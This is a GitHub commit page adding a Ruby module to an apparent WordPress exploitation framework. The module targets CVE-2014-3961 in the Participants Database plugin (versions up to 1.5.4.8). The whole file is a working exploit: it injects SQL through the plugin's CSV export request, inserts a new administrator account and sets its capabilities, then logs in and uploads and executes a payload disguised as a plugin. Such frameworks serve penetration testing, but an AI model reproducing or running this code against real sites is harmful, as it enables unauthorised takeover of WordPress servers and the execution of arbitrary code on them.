Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit f3bcc0d

Browse files
committed
Add Participants Database <= 1.5.4.8 shell upload
1 parent 264a46d commit f3bcc0d

File tree

1 file changed

+153
-0
lines changed

1 file changed

+153
-0
lines changed
Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::ParticipantsDatabaseV1548ShellUpload < Wpxf::Module
4+
include Wpxf
5+
include Wpxf::WordPress::Plugin
6+
7+
def initialize
8+
super
9+
10+
update_info(
11+
name: 'Participants Database <= 1.5.4.8 Shell Upload',
12+
desc: %(
13+
In versions <= 1.5.4.8 of the Participants Database, anonymous users
14+
are able to execute arbitrary SQL statements. This module utilises
15+
this vulnerability to create a new admin user and upload a payload
16+
masked as a plugin.
17+
),
18+
author: [
19+
'Yarubo Research Team', # Vulnerability discovery
20+
'rastating' # WPXF module
21+
],
22+
references: [
23+
['CVE', '2014-3961'],
24+
['WPVDB', '7247'],
25+
['EDB', '33613']
26+
],
27+
date: 'Aug 01 2014'
28+
)
29+
30+
register_options([
31+
StringOption.new(
32+
name: 'sign_up_path',
33+
desc: 'The relative path of the Participants Database sign up page',
34+
required: true
35+
),
36+
StringOption.new(
37+
name: 'wp_prefix',
38+
desc: 'The database table prefix. Default: wp_',
39+
required: true,
40+
default: 'wp_'
41+
),
42+
IntegerOption.new(
43+
name: 'user_id',
44+
desc: 'The ID number to use for the new admin account',
45+
required: true,
46+
default: (60_000..90_000).to_a.sample
47+
),
48+
StringOption.new(
49+
name: 'username',
50+
desc: 'The username to use for the new admin account',
51+
required: true,
52+
default: Utility::Text.rand_alpha(6)
53+
),
54+
StringOption.new(
55+
name: 'password',
56+
desc: 'The password to use for the new admin account',
57+
required: true,
58+
default: Utility::Text.rand_alpha(6)
59+
),
60+
StringOption.new(
61+
name: 'email',
62+
desc: 'The e-mail address to use for the new admin account',
63+
required: true,
64+
default: Utility::Text.rand_email
65+
)
66+
])
67+
end
68+
69+
def check
70+
check_plugin_version_from_readme('participants-database', '1.5.4.9')
71+
end
72+
73+
def sign_up_url
74+
normalize_uri(full_uri, datastore['sign_up_path'])
75+
end
76+
77+
def user_id
78+
normalized_option_value('user_id')
79+
end
80+
81+
def hexified_username
82+
"0x#{Utility::Text.hexify_string(datastore['username'])}"
83+
end
84+
85+
def password_hash
86+
Utility::Text.md5(datastore['password'])
87+
end
88+
89+
def hexified_password_hash
90+
"0x#{Utility::Text.hexify_string(password_hash)}"
91+
end
92+
93+
def hexified_email
94+
"0x#{Utility::Text.hexify_string(datastore['email'])}"
95+
end
96+
97+
def table_name(name)
98+
"#{datastore['wp_prefix']}#{name}"
99+
end
100+
101+
def new_user_sql
102+
[
103+
"insert into #{table_name('users')}",
104+
'(ID, user_login, user_pass, user_nicename, user_email, user_status, display_name)',
105+
'values',
106+
"(#{user_id}, #{hexified_username}, #{hexified_password_hash}, #{hexified_username}, #{hexified_email}, 0, #{hexified_username});"
107+
].join(' ')
108+
end
109+
110+
def user_meta_sql(key, value)
111+
[
112+
"insert into #{table_name('usermeta')}",
113+
'(user_id, meta_key, meta_value) values',
114+
"(#{user_id}, 0x#{Utility::Text.hexify_string(key)}, 0x#{Utility::Text.hexify_string(value)})"
115+
].join(' ')
116+
end
117+
118+
def execute_sql_query(query)
119+
builder = Utility::BodyBuilder.new
120+
builder.add_field('action', 'output CSV')
121+
builder.add_field('subsource', 'participants-database')
122+
builder.add_field('CSV_type', 'participant list')
123+
builder.add_field('query', query)
124+
125+
builder.create do |body|
126+
execute_post_request(url: sign_up_url, body: body)
127+
end
128+
end
129+
130+
def update_user_meta(key, value)
131+
execute_sql_query(user_meta_sql(key, value))
132+
end
133+
134+
def execute_payload
135+
emit_info 'Uploading the payload...'
136+
cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
137+
res = wordpress_upload_and_execute_payload_plugin(Utility::Text.rand_alpha(6), Utility::Text.rand_alpha(6), cookie)
138+
res&.code != 404
139+
end
140+
141+
def run
142+
return false unless super
143+
144+
emit_info 'Creating a new user...'
145+
execute_sql_query(new_user_sql)
146+
147+
emit_info 'Elevating user privileges...'
148+
update_user_meta('wp_user_level', '10')
149+
update_user_meta('wp_capabilities', 'a:1:{s:13:"administrator";b:1;}')
150+
151+
execute_payload
152+
end
153+
end

0 commit comments

Comments
 (0)